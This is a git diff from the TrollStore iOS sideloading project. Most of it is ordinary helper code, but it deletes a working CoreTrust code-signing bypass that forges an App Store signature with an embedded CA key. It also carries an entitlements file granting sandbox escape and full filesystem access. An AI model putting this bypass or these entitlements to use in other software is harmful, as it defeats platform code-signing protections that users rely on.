// the special value "-" (dash) indicates ad-hoc signing
SecIdentityRef identity = (SecIdentityRef)kCFNull;
NSMutableDictionary* parameters = [[NSMutableDictionary alloc] init];
parameters[(__bridge NSString*)kSecCodeSignerIdentity] = (__bridge id)identity;
uint64_t preserveMetadataFlags = 0;
if (preserveMetadata) {
preserveMetadataFlags = (kSecCSPreserveIdentifier | kSecCSPreserveRequirements | kSecCSPreserveResourceRules);
if (!customEntitlements) {
preserveMetadataFlags |= kSecCSPreserveEntitlements;
}
parameters[(__bridge NSString*)kSecCodeSignerPreserveMetadata] = @(preserveMetadataFlags);
}
if (customEntitlements) {
NSError *error;
NSData *xmlData = [NSPropertyListSerialization dataWithPropertyList:customEntitlements format:NSPropertyListXMLFormat_v1_0 options:0 error:&error];
if (!xmlData) {
NSLog(@"Failed to encode entitlements: %@", error);
return -1;
}
else {
// Super easy to use API, definitely not busted...
// Did I forget to mention it just segfaults if you don't add this prefix?
uint32_t entitlementsData[xmlData.length+8];
entitlementsData[0] = OSSwapHostToBigInt32(0xFADE7171);
entitlementsData[1] = OSSwapHostToBigInt32(xmlData.length+8);
[xmlData getBytes:&entitlementsData[2] length:xmlData.length];
parameters[(__bridge NSString*)kSecCodeSignerEntitlements] = [NSData dataWithBytes:entitlementsData length:xmlData.length+8];
}
}
SecCodeSignerRef signerRef;
status = __SecCodeSignerCreate((__bridge CFDictionaryRef)parameters, kSecCSDefaultFlags, &signerRef);
if (status == 0) {
SecStaticCodeRef code;
status = SecStaticCodeCreateWithPathAndAttributes((__bridge CFURLRef)[NSURL fileURLWithPath:filePath], kSecCSDefaultFlags, (__bridge CFDictionaryRef)@{}, &code);
if (status == 0) {
CFErrorRef errors;
status = __SecCodeSignerAddSignatureWithErrors(signerRef, code, kSecCSDefaultFlags, &errors);
if (status == 0) {
CFDictionaryRef newSigningInformation;
// Difference from codesign: added kSecCSSigningInformation, kSecCSRequirementInformation, kSecCSInternalInformation
status = SecCodeCopySigningInformation(code, kSecCSDefaultFlags | kSecCSSigningInformation | kSecCSRequirementInformation | kSecCSInternalInformation, &newSigningInformation);
if (status == 0) {
retval = 0;
CFRelease(newSigningInformation);
} else {
retval = 203;
}
}
else {
printf("Error while signing: %s\n", ((__bridge NSError *)errors).description.UTF8String);
}
CFRelease(code);
}
else {
retval = 202;
}
CFRelease(signerRef);
}
else {
retval = 201;
}
return retval;
}

View File

@ -1,374 +0,0 @@
#include <CoreFoundation/CoreFoundation.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <dirent.h>
#include <sys/stat.h>
#include "CSBlob.h"
#include "MachOByteOrder.h"
#include "MachO.h"
#include "Host.h"
#include "MemoryStream.h"
#include "FileStream.h"
#include "BufferedStream.h"
#include "CodeDirectory.h"
#include "Base64.h"
#include "Templates/AppStoreCodeDirectory.h"
#include "Templates/DERTemplate.h"
#include "Templates/TemplateSignatureBlob.h"
#include "Templates/CADetails.h"
#include <openssl/pem.h>
#include <openssl/err.h>
#include <copyfile.h>
#include <TargetConditionals.h>
#include <openssl/cms.h>
int update_signature_blob(CS_DecodedSuperBlob *superblob)
{
CS_DecodedBlob *sha1CD = csd_superblob_find_blob(superblob, CSSLOT_CODEDIRECTORY, NULL);
if (!sha1CD) {
printf("Could not find SHA1 CodeDirectory blob!\n");
return -1;
}
CS_DecodedBlob *sha256CD = csd_superblob_find_blob(superblob, CSSLOT_ALTERNATE_CODEDIRECTORIES, NULL);
if (!sha256CD) {
printf("Could not find SHA256 CodeDirectory blob!\n");
return -1;
}
uint8_t sha1CDHash[CC_SHA1_DIGEST_LENGTH];
uint8_t sha256CDHash[CC_SHA256_DIGEST_LENGTH];
{
size_t dataSizeToRead = csd_blob_get_size(sha1CD);
uint8_t *data = malloc(dataSizeToRead);
memset(data, 0, dataSizeToRead);
csd_blob_read(sha1CD, 0, dataSizeToRead, data);
CC_SHA1(data, (CC_LONG)dataSizeToRead, sha1CDHash);
free(data);
printf("SHA1 hash: ");
for (int i = 0; i < CC_SHA1_DIGEST_LENGTH; i++) {
printf("%02x", sha1CDHash[i]);
}
printf("\n");
}
{
size_t dataSizeToRead = csd_blob_get_size(sha256CD);
uint8_t *data = malloc(dataSizeToRead);
memset(data, 0, dataSizeToRead);
csd_blob_read(sha256CD, 0, dataSizeToRead, data);
CC_SHA256(data, (CC_LONG)dataSizeToRead, sha256CDHash);
free(data);
printf("SHA256 hash: ");
for (int i = 0; i < CC_SHA256_DIGEST_LENGTH; i++) {
printf("%02x", sha256CDHash[i]);
}
printf("\n");
}
const uint8_t *cmsDataPtr = AppStoreSignatureBlob + offsetof(CS_GenericBlob, data);
size_t cmsDataSize = AppStoreSignatureBlob_len - sizeof(CS_GenericBlob);
CMS_ContentInfo *cms = d2i_CMS_ContentInfo(NULL, (const unsigned char**)&cmsDataPtr, cmsDataSize);
if (!cms) {
printf("Failed to parse CMS blob: %s!\n", ERR_error_string(ERR_get_error(), NULL));
return -1;
}
// Load private key
FILE* privateKeyFile = fmemopen(CAKey, CAKeyLength, "r");
if (!privateKeyFile) {
printf("Failed to open private key file!\n");
return -1;
}
EVP_PKEY* privateKey = PEM_read_PrivateKey(privateKeyFile, NULL, NULL, NULL);
fclose(privateKeyFile);
if (!privateKey) {
printf("Failed to read private key file!\n");
return -1;
}
// Load certificate
FILE* certificateFile = fmemopen(CACert, CACertLength, "r");
if (!certificateFile) {
printf("Failed to open certificate file!\n");
return -1;
}
X509* certificate = PEM_read_X509(certificateFile, NULL, NULL, NULL);
fclose(certificateFile);
if (!certificate) {
printf("Failed to read certificate file!\n");
return -1;
}
// Add signer
CMS_SignerInfo* newSigner = CMS_add1_signer(cms, certificate, privateKey, EVP_sha256(), CMS_PARTIAL | CMS_REUSE_DIGEST | CMS_NOSMIMECAP);
if (!newSigner) {
printf("Failed to add signer: %s!\n", ERR_error_string(ERR_get_error(), NULL));
return -1;
}
CFMutableArrayRef cdHashesArray = CFArrayCreateMutable(NULL, 2, &kCFTypeArrayCallBacks);
if (!cdHashesArray) {
printf("Failed to create CDHashes array!\n");
return -1;
}
CFDataRef sha1CDHashData = CFDataCreate(NULL, sha1CDHash, CC_SHA1_DIGEST_LENGTH);
if (!sha1CDHashData) {
printf("Failed to create CFData from SHA1 CDHash!\n");
CFRelease(cdHashesArray);
return -1;
}
CFArrayAppendValue(cdHashesArray, sha1CDHashData);
CFRelease(sha1CDHashData);
// In this plist, the SHA256 hash is truncated to SHA1 length
CFDataRef sha256CDHashData = CFDataCreate(NULL, sha256CDHash, CC_SHA1_DIGEST_LENGTH);
if (!sha256CDHashData) {
printf("Failed to create CFData from SHA256 CDHash!\n");
CFRelease(cdHashesArray);
return -1;
}
CFArrayAppendValue(cdHashesArray, sha256CDHashData);
CFRelease(sha256CDHashData);
CFMutableDictionaryRef cdHashesDictionary = CFDictionaryCreateMutable(NULL, 1, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
if (!cdHashesDictionary) {
printf("Failed to create CDHashes dictionary!\n");
CFRelease(cdHashesArray);
return -1;
}
CFDictionarySetValue(cdHashesDictionary, CFSTR("cdhashes"), cdHashesArray);
CFRelease(cdHashesArray);
CFErrorRef error = NULL;
CFDataRef cdHashesDictionaryData = CFPropertyListCreateData(NULL, cdHashesDictionary, kCFPropertyListXMLFormat_v1_0, 0, &error);
CFRelease(cdHashesDictionary);
if (!cdHashesDictionaryData) {
// CFStringGetCStringPtr, unfortunately, does not always work
CFStringRef errorString = CFErrorCopyDescription(error);
CFIndex maxSize = CFStringGetMaximumSizeForEncoding(CFStringGetLength(errorString), kCFStringEncodingUTF8) + 1;
char *buffer = (char *)malloc(maxSize);
if (CFStringGetCString(errorString, buffer, maxSize, kCFStringEncodingUTF8)) {
printf("Failed to encode CDHashes plist: %s\n", buffer);
} else {
printf("Failed to encode CDHashes plist: unserializable error\n");
}
free(buffer);
return -1;
}
// Add text CDHashes attribute
if (!CMS_signed_add1_attr_by_txt(newSigner, "1.2.840.113635.100.9.1", V_ASN1_OCTET_STRING, CFDataGetBytePtr(cdHashesDictionaryData), CFDataGetLength(cdHashesDictionaryData))) {
printf("Failed to add text CDHashes attribute: %s!\n", ERR_error_string(ERR_get_error(), NULL));
return -1;
}
// Create DER-encoded CDHashes (see DERTemplate.h for details)
uint8_t cdHashesDER[78];
memset(cdHashesDER, 0, sizeof(cdHashesDER));
memcpy(cdHashesDER, CDHashesDERTemplate, sizeof(CDHashesDERTemplate));
memcpy(cdHashesDER + CDHASHES_DER_SHA1_OFFSET, sha1CDHash, CC_SHA1_DIGEST_LENGTH);
memcpy(cdHashesDER + CDHASHES_DER_SHA256_OFFSET, sha256CDHash, CC_SHA256_DIGEST_LENGTH);
// Add DER CDHashes attribute
if (!CMS_signed_add1_attr_by_txt(newSigner, "1.2.840.113635.100.9.2", V_ASN1_SEQUENCE, cdHashesDER, sizeof(cdHashesDER))) {
printf("Failed to add CDHashes attribute: %s!\n", ERR_error_string(ERR_get_error(), NULL));
return -1;
}
// Sign the CMS structure
if (!CMS_SignerInfo_sign(newSigner)) {
printf("Failed to sign CMS structure: %s!\n", ERR_error_string(ERR_get_error(), NULL));
return -1;
}
// Encode the CMS structure into DER
uint8_t *newCMSData = NULL;
int newCMSDataSize = i2d_CMS_ContentInfo(cms, &newCMSData);
if (newCMSDataSize <= 0) {
printf("Failed to encode CMS structure: %s!\n", ERR_error_string(ERR_get_error(), NULL));
return -1;
}
// Copy CMS data into a new blob
uint32_t newCMSDataBlobSize = sizeof(CS_GenericBlob) + newCMSDataSize;
CS_GenericBlob *newCMSDataBlob = malloc(newCMSDataBlobSize);
newCMSDataBlob->magic = HOST_TO_BIG(CSMAGIC_BLOBWRAPPER);
newCMSDataBlob->length = HOST_TO_BIG(newCMSDataBlobSize);
memcpy(newCMSDataBlob->data, newCMSData, newCMSDataSize);
free(newCMSData);
// Remove old signature blob if it exists
CS_DecodedBlob *oldSignatureBlob = csd_superblob_find_blob(superblob, CSSLOT_SIGNATURESLOT, NULL);
if (oldSignatureBlob) {
csd_superblob_remove_blob(superblob, oldSignatureBlob);
csd_blob_free(oldSignatureBlob);
}
// Append new signature blob
CS_DecodedBlob *signatureBlob = csd_blob_init(CSSLOT_SIGNATURESLOT, newCMSDataBlob);
free(newCMSDataBlob);
// Append new signature blob
return csd_superblob_append_blob(superblob, signatureBlob);
}
int apply_coretrust_bypass(const char *machoPath)
{
MachO *macho = macho_init_for_writing(machoPath);
if (!macho) return -1;
if (macho_is_encrypted(macho)) {
printf("Error: MachO is encrypted, please use a decrypted app!\n");
macho_free(macho);
return 2;
}
if (macho->machHeader.filetype == MH_OBJECT) {
printf("Error: MachO is an object file, please use a MachO executable or dynamic library!\n");
macho_free(macho);
return 3;
}
if (macho->machHeader.filetype == MH_DSYM) {
printf("Error: MachO is a dSYM file, please use a MachO executable or dynamic library!\n");
macho_free(macho);
return 3;
}
CS_SuperBlob *superblob = macho_read_code_signature(macho);
if (!superblob) {
printf("Error: no code signature found, please fake-sign the binary at minimum before running the bypass.\n");
return -1;
}
CS_DecodedSuperBlob *decodedSuperblob = csd_superblob_decode(superblob);
uint64_t originalCodeSignatureSize = BIG_TO_HOST(superblob->length);
free(superblob);
CS_DecodedBlob *realCodeDirBlob = NULL;
CS_DecodedBlob *mainCodeDirBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_CODEDIRECTORY, NULL);
CS_DecodedBlob *alternateCodeDirBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_ALTERNATE_CODEDIRECTORIES, NULL);
CS_DecodedBlob *entitlementsBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_ENTITLEMENTS, NULL);
CS_DecodedBlob *derEntitlementsBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_DER_ENTITLEMENTS, NULL);
if (!entitlementsBlob && !derEntitlementsBlob && macho->machHeader.filetype == MH_EXECUTE) {
printf("Warning: Unable to find existing entitlements blobs in executable MachO.\n");
}
if (!mainCodeDirBlob) {
printf("Error: Unable to find code directory, make sure the input binary is ad-hoc signed.\n");
return -1;
}
// We need to determine which code directory to transfer to the new binary
if (alternateCodeDirBlob) {
// If an alternate code directory exists, use that and remove the main one from the superblob
realCodeDirBlob = alternateCodeDirBlob;
csd_superblob_remove_blob(decodedSuperblob, mainCodeDirBlob);
csd_blob_free(mainCodeDirBlob);
}
else {
// Otherwise use the main code directory
realCodeDirBlob = mainCodeDirBlob;
}
if (csd_code_directory_get_hash_type(realCodeDirBlob) != CS_HASHTYPE_SHA256_256) {
printf("Error: Alternate code directory is not SHA256, bypass won't work!\n");
return -1;
}
printf("Applying App Store code directory...\n");
// Append real code directory as alternateCodeDirectory at the end of superblob
csd_superblob_remove_blob(decodedSuperblob, realCodeDirBlob);
csd_blob_set_type(realCodeDirBlob, CSSLOT_ALTERNATE_CODEDIRECTORIES);
csd_superblob_append_blob(decodedSuperblob, realCodeDirBlob);
// Insert AppStore code directory as main code directory at the start
CS_DecodedBlob *appStoreCodeDirectoryBlob = csd_blob_init(CSSLOT_CODEDIRECTORY, (CS_GenericBlob *)AppStoreCodeDirectory);
csd_superblob_insert_blob_at_index(decodedSuperblob, appStoreCodeDirectoryBlob, 0);
printf("Adding new signature blob...\n");
CS_DecodedBlob *signatureBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_SIGNATURESLOT, NULL);
if (signatureBlob) {
// Remove existing signatureBlob if existant
csd_superblob_remove_blob(decodedSuperblob, signatureBlob);
csd_blob_free(signatureBlob);
}
// After Modification:
// 1. App Store CodeDirectory (SHA1)
// ?. Requirements
// ?. Entitlements
// ?. DER entitlements
// 5. Actual CodeDirectory (SHA256)
printf("Updating TeamID...\n");
// Get team ID from AppStore code directory
// For the bypass to work, both code directories need to have the same team ID
char *appStoreTeamID = csd_code_directory_copy_team_id(appStoreCodeDirectoryBlob, NULL);
if (!appStoreTeamID) {
printf("Error: Unable to determine AppStore Team ID\n");
return -1;
}
// Set the team ID of the real code directory to the AppStore one
if (csd_code_directory_set_team_id(realCodeDirBlob, appStoreTeamID) != 0) {
printf("Error: Failed to set Team ID\n");
return -1;
}
printf("TeamID set to %s!\n", appStoreTeamID);
free(appStoreTeamID);
// Set flags to 0 to remove any problematic flags (such as the 'adhoc' flag in bit 2)
csd_code_directory_set_flags(realCodeDirBlob, 0);
int ret = 0;
// 6. Signature blob
printf("Doing initial signing to calculate size...\n");
ret = update_signature_blob(decodedSuperblob);
if(ret == -1) {
printf("Error: failed to create new signature blob!\n");
return -1;
}
printf("Encoding unsigned superblob...\n");
CS_SuperBlob *encodedSuperblobUnsigned = csd_superblob_encode(decodedSuperblob);
printf("Updating load commands...\n");
if (update_load_commands_for_coretrust_bypass(macho, encodedSuperblobUnsigned, originalCodeSignatureSize, memory_stream_get_size(macho->stream)) != 0) {
printf("Error: failed to update load commands!\n");
return -1;
}
free(encodedSuperblobUnsigned);
printf("Updating code slot hashes...\n");
csd_code_directory_update(realCodeDirBlob, macho);
printf("Signing binary...\n");
ret = update_signature_blob(decodedSuperblob);
if(ret == -1) {
printf("Error: failed to create new signature blob!\n");
return -1;
}
printf("Encoding signed superblob...\n");
CS_SuperBlob *newSuperblob = csd_superblob_encode(decodedSuperblob);
printf("Writing superblob to MachO...\n");
// Write the new signed superblob to the MachO
macho_replace_code_signature(macho, newSuperblob);
csd_superblob_free(decodedSuperblob);
free(newSuperblob);
macho_free(macho);
return 0;
}

View File

@ -1 +0,0 @@
int apply_coretrust_bypass(const char *machoPath);

View File

@ -1,107 +0,0 @@
#include "codesign.h"
#include "coretrust_bug.h"
#include "FAT.h"
#include "MachO.h"
#include "FileStream.h"
#include "Host.h"
#include <copyfile.h>
#define CPU_SUBTYPE_ARM64E_ABI_V2 0x80000000
char *extract_preferred_slice(const char *fatPath)
{
FAT *fat = fat_init_from_path(fatPath);
if (!fat) return NULL;
MachO *macho = fat_find_preferred_slice(fat);
#if TARGET_OS_MAC && !TARGET_OS_IPHONE
if (!macho) {
// Check for arm64v8 first
macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64_V8);
if (!macho) {
// If that fails, check for regular arm64
macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64_ALL);
if (!macho) {
// If that fails, check for arm64e with ABI v2
macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64E | CPU_SUBTYPE_ARM64E_ABI_V2);
if (!macho) {
// If that fails, check for arm64e
macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64E);
if (!macho) {
fat_free(fat);
return NULL;
}
}
}
}
}
#else
if (!macho) {
fat_free(fat);
return NULL;
}
#endif // TARGET_OS_MAC && !TARGET_OS_IPHONE
char *temp = strdup("/tmp/XXXXXX");
int fd = mkstemp(temp);
MemoryStream *outStream = file_stream_init_from_path(temp, 0, 0, FILE_STREAM_FLAG_WRITABLE | FILE_STREAM_FLAG_AUTO_EXPAND);
MemoryStream *machoStream = macho_get_stream(macho);
memory_stream_copy_data(machoStream, 0, outStream, 0, memory_stream_get_size(machoStream));
fat_free(fat);
memory_stream_free(outStream);
close(fd);
return temp;
}
int main(int argc, char *argv[]) {
if (argc < 2) return -1;
char *input = argv[argc-1];
NSDictionary *customEntitlements = nil;
if (argc == 4) {
if (!strcmp(argv[1], "--entitlements")) {
NSString *entitlementsPath = [NSString stringWithUTF8String:argv[2]];
customEntitlements = [NSDictionary dictionaryWithContentsOfFile:entitlementsPath];
}
}
int r = codesign_sign_adhoc(input, true, customEntitlements);
if (r != 0) {
printf("Failed adhoc signing (%d) Continuing anyways...\n", r);
}
else {
printf("AdHoc signed file!\n");
}
char *machoPath = extract_preferred_slice(input);
if (!machoPath) {
printf("Failed extracting best slice\n");
return -1;
}
printf("Extracted best slice to %s\n", machoPath);
printf("Applying CoreTrust bypass...\n");
r = apply_coretrust_bypass(machoPath);
if (r != 0) {
printf("Failed applying CoreTrust bypass\n");
return r;
}
if (copyfile(machoPath, input, 0, COPYFILE_ALL | COPYFILE_MOVE | COPYFILE_UNLINK) == 0) {
chmod(input, 0755);
printf("Applied CoreTrust Bypass!\n");
}
else {
perror("copyfile");
return -1;
}
free(machoPath);
return 0;
}

View File

@ -1,15 +1,11 @@
extern NSString *LSInstallTypeKey;
@interface LSBundleProxy
@property (nonatomic,readonly) NSString * bundleIdentifier;
@property (nonatomic) NSURL* dataContainerURL;
@property (nonatomic,readonly) NSURL* bundleContainerURL;
-(NSString*)localizedName;
@end
@interface LSApplicationProxy : LSBundleProxy
+ (instancetype)applicationProxyForIdentifier:(NSString*)identifier;
+ (instancetype)applicationProxyForBundleURL:(NSURL*)bundleURL;
@property NSURL* bundleURL;
@property NSString* bundleType;
@property NSString* canonicalExecutablePath;
@ -17,9 +13,7 @@ extern NSString *LSInstallTypeKey;
@property (nonatomic,readonly) NSArray* plugInKitPlugins;
@property (getter=isInstalled,nonatomic,readonly) BOOL installed;
@property (getter=isPlaceholder,nonatomic,readonly) BOOL placeholder;
@property (getter=isRestricted,nonatomic,readonly) BOOL restricted;
@property (nonatomic,readonly) NSSet* claimedURLSchemes;
@property (nonatomic,readonly) NSString* applicationType;
@property (getter=isRestricted,nonatomic,readonly) BOOL restricted;
@end
@interface LSApplicationWorkspace : NSObject
@ -27,23 +21,8 @@ extern NSString *LSInstallTypeKey;
- (BOOL)registerApplicationDictionary:(NSDictionary*)dict;
- (BOOL)unregisterApplication:(id)arg1;
- (BOOL)_LSPrivateRebuildApplicationDatabasesForSystemApps:(BOOL)arg1 internal:(BOOL)arg2 user:(BOOL)arg3;
- (BOOL)openApplicationWithBundleID:(NSString *)arg1 ;
- (BOOL)uninstallApplication:(NSString*)arg1 withOptions:(id)arg2;
- (void)enumerateApplicationsOfType:(NSUInteger)type block:(void (^)(LSApplicationProxy*))block;
- (BOOL)installApplication:(NSURL*)appPackageURL withOptions:(NSDictionary*)options error:(NSError**)error;
- (BOOL)uninstallApplication:(NSString*)appId withOptions:(NSDictionary*)options;
- (void)addObserver:(id)arg1;
- (void)removeObserver:(id)arg1;
@end
@protocol LSApplicationWorkspaceObserverProtocol <NSObject>
@optional
- (void)applicationsDidInstall:(NSArray <LSApplicationProxy *>*)apps;
- (void)applicationsDidUninstall:(NSArray <LSApplicationProxy *>*)apps;
@end
@interface LSEnumerator : NSEnumerator
@property (nonatomic,copy) NSPredicate * predicate;
+ (instancetype)enumeratorForApplicationProxiesWithOptions:(NSUInteger)options;
@end
@interface LSPlugInKitProxy : LSBundleProxy
@ -58,19 +37,15 @@ extern NSString *LSInstallTypeKey;
@end
@interface MCMDataContainer : MCMContainer
@end
@interface MCMAppDataContainer : MCMDataContainer
@end
@interface MCMAppContainer : MCMContainer
@end
@interface MCMPluginKitPluginDataContainer : MCMDataContainer
@end
@interface MCMSystemDataContainer : MCMContainer
@end
@interface MCMSharedDataContainer : MCMContainer
@end

15
Helper/Makefile Normal file
View File

@ -0,0 +1,15 @@
TARGET := iphone:clang:14.5:14.0
ARCHS = arm64
include $(THEOS)/makefiles/common.mk
TOOL_NAME = trollstorehelper
trollstorehelper_FILES = $(wildcard *.m)
trollstorehelper_CFLAGS = -fobjc-arc
trollstorehelper_CODESIGN_FLAGS = -Sentitlements.plist
trollstorehelper_INSTALL_PATH = /usr/local/bin
trollstorehelper_LIBRARIES = archive
trollstorehelper_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices
include $(THEOS_MAKE_PATH)/tool.mk

7
Helper/Shared.h Normal file
View File

@ -0,0 +1,7 @@
#import "CoreServices.h"
NSArray* trollStoreInstalledAppBundlePaths();
NSArray* trollStoreInstalledAppContainerPaths();
NSString* trollStorePath();
NSString* trollStoreAppPath();
LSApplicationProxy* findPersistenceHelperApp(void);

91
Helper/Shared.m Normal file
View File

@ -0,0 +1,91 @@
@import Foundation;
#import "CoreServices.h"
#import <objc/runtime.h>
NSArray* trollStoreInstalledAppContainerPaths()
{
NSMutableArray* appContainerPaths = [NSMutableArray new];
NSString* appContainersPath = @"/var/containers/Bundle/Application";
NSError* error;
NSArray* containers = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appContainersPath error:&error];
if(error)
{
NSLog(@"error getting app bundles paths %@", error);
}
if(!containers) return nil;
for(NSString* container in containers)
{
NSString* containerPath = [appContainersPath stringByAppendingPathComponent:container];
BOOL isDirectory = NO;
BOOL exists = [[NSFileManager defaultManager] fileExistsAtPath:containerPath isDirectory:&isDirectory];
if(exists && isDirectory)
{
NSString* trollStoreMark = [containerPath stringByAppendingPathComponent:@"_TrollStore"];
if([[NSFileManager defaultManager] fileExistsAtPath:trollStoreMark])
{
NSString* trollStoreApp = [containerPath stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStoreApp])
{
[appContainerPaths addObject:containerPath];
}
}
}
}
return appContainerPaths.copy;
}
NSArray* trollStoreInstalledAppBundlePaths()
{
NSMutableArray* appPaths = [NSMutableArray new];
for(NSString* containerPath in trollStoreInstalledAppContainerPaths())
{
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:containerPath error:nil];
if(!items) return nil;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
[appPaths addObject:[containerPath stringByAppendingPathComponent:item]];
}
}
}
return appPaths.copy;
}
NSString* trollStorePath()
{
NSError* mcmError;
MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:@"com.opa334.TrollStore" createIfNecessary:NO existed:NULL error:&mcmError];
if(!appContainer) return nil;
return appContainer.url.path;
}
NSString* trollStoreAppPath()
{
return [trollStorePath() stringByAppendingPathComponent:@"TrollStore.app"];
}
LSApplicationProxy* findPersistenceHelperApp(void)
{
__block LSApplicationProxy* outProxy;
[[LSApplicationWorkspace defaultWorkspace] enumerateApplicationsOfType:1 block:^(LSApplicationProxy* appProxy)
{
if(appProxy.installed && !appProxy.restricted)
{
if([appProxy.bundleURL.path hasPrefix:@"/private/var/containers"])
{
NSURL* trollStorePersistenceMarkURL = [appProxy.bundleURL URLByAppendingPathComponent:@".TrollStorePersistenceHelper"];
if([trollStorePersistenceMarkURL checkResourceIsReachableAndReturnError:nil])
{
outProxy = appProxy;
}
}
}
}];
return outProxy;
}

View File

@ -1,6 +1,6 @@
Package: com.opa334.trollstoreroothelper
Name: trollstoreroothelper
Version: 2.1
Version: 1.0
Architecture: iphoneos-arm
Description: An awesome tool of some sort!!
Maintainer: opa334

View File

@ -1,30 +1,22 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>application-identifier</key>
<string>com.opa334.TrollStore</string>
<key>platform-application</key>
<true/>
<key>com.apple.private.security.container-required</key>
<false/>
<key>com.apple.security.exception.files.absolute-path.read-write</key>
<array>
<string>/</string>
</array>
<key>com.apple.security.exception.iokit-user-client-class</key>
<array>
<string>AGXDeviceUserClient</string>
<string>IOSurfaceRootUserClient</string>
</array>
<key>com.apple.private.security.no-sandbox</key>
<true/>
<key>com.apple.private.persona-mgmt</key>
<true/>
<key>com.apple.private.security.container-manager</key>
<true/>
<key>com.apple.private.coreservices.canmaplsdatabase</key>
<true/>
<key>com.apple.lsapplicationworkspace.rebuildappdatabases</key>
<true/>
<key>com.apple.private.security.storage.AppBundles</key>
<true/>
<key>com.apple.private.MobileContainerManager.allowed</key>
<true/>
<key>com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled</key>
@ -33,13 +25,9 @@
<true/>
<key>com.apple.private.uninstall.deletion</key>
<true/>
<key>com.apple.private.security.storage.MobileDocuments</key>
<key>com.apple.backboardd.launchapplications</key>
<true/>
<key>com.apple.CommCenter.fine-grained</key>
<array>
<string>data-allowed-write</string>
</array>
<key>com.apple.springboard.opensensitiveurl</key>
<key>com.apple.multitasking.termination</key>
<true/>
</dict>
</plist>
</plist>

685
Helper/main.m Normal file
View File

@ -0,0 +1,685 @@
#import <stdio.h>
#import "unarchive.h"
@import Foundation;
#import "uicache.h"
#import <sys/stat.h>
#import <dlfcn.h>
#import <spawn.h>
#import <objc/runtime.h>
#import "CoreServices.h"
#import "Shared.h"
#import <SpringBoardServices/SpringBoardServices.h>
extern mach_msg_return_t SBReloadIconForIdentifier(mach_port_t machport, const char* identifier);
@interface SBSHomeScreenService : NSObject
- (void)reloadIcons;
@end
extern NSString* BKSActivateForEventOptionTypeBackgroundContentFetching;
extern NSString* BKSOpenApplicationOptionKeyActivateForEvent;
extern void BKSTerminateApplicationForReasonAndReportWithDescription(NSString *bundleID, int reasonID, bool report, NSString *description);
#define kCFPreferencesNoContainer CFSTR("kCFPreferencesNoContainer")
typedef CFPropertyListRef (*_CFPreferencesCopyValueWithContainerType)(CFStringRef key, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef void (*_CFPreferencesSetValueWithContainerType)(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef Boolean (*_CFPreferencesSynchronizeWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef CFArrayRef (*_CFPreferencesCopyKeyListWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef CFDictionaryRef (*_CFPreferencesCopyMultipleWithContainerType)(CFArrayRef keysToFetch, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
BOOL _installPersistenceHelper(LSApplicationProxy* appProxy, NSString* sourcePersistenceHelper, NSString* sourceRootHelper);
extern char*** _NSGetArgv();
NSString* safe_getExecutablePath()
{
char* executablePathC = **_NSGetArgv();
return [NSString stringWithUTF8String:executablePathC];
}
NSDictionary* infoDictionaryForAppPath(NSString* appPath)
{
NSString* infoPlistPath = [appPath stringByAppendingPathComponent:@"Info.plist"];
return [NSDictionary dictionaryWithContentsOfFile:infoPlistPath];
}
NSString* appIdForAppPath(NSString* appPath)
{
return infoDictionaryForAppPath(appPath)[@"CFBundleIdentifier"];
}
NSString* appPathForAppId(NSString* appId, NSError** error)
{
for(NSString* appPath in trollStoreInstalledAppBundlePaths())
{
if([appIdForAppPath(appPath) isEqualToString:appId])
{
return appPath;
}
}
return nil;
}
static NSString* getNSStringFromFile(int fd)
{
NSMutableString* ms = [NSMutableString new];
ssize_t num_read;
char c;
while((num_read = read(fd, &c, sizeof(c))))
{
[ms appendString:[NSString stringWithFormat:@"%c", c]];
}
return ms.copy;
}
static void printMultilineNSString(NSString* stringToPrint)
{
NSCharacterSet *separator = [NSCharacterSet newlineCharacterSet];
NSArray* lines = [stringToPrint componentsSeparatedByCharactersInSet:separator];
for(NSString* line in lines)
{
NSLog(@"%@", line);
}
}
void installLdid(NSString* ldidToCopyPath)
{
if(![[NSFileManager defaultManager] fileExistsAtPath:ldidToCopyPath]) return;
NSString* ldidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"];
if([[NSFileManager defaultManager] fileExistsAtPath:ldidPath])
{
[[NSFileManager defaultManager] removeItemAtPath:ldidPath error:nil];
}
[[NSFileManager defaultManager] copyItemAtPath:ldidToCopyPath toPath:ldidPath error:nil];
chmod(ldidPath.UTF8String, 0755);
chown(ldidPath.UTF8String, 0, 0);
}
BOOL isLdidInstalled(void)
{
NSString* ldidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"];
return [[NSFileManager defaultManager] fileExistsAtPath:ldidPath];
}
int runLdid(NSArray* args, NSString** output, NSString** errorOutput)
{
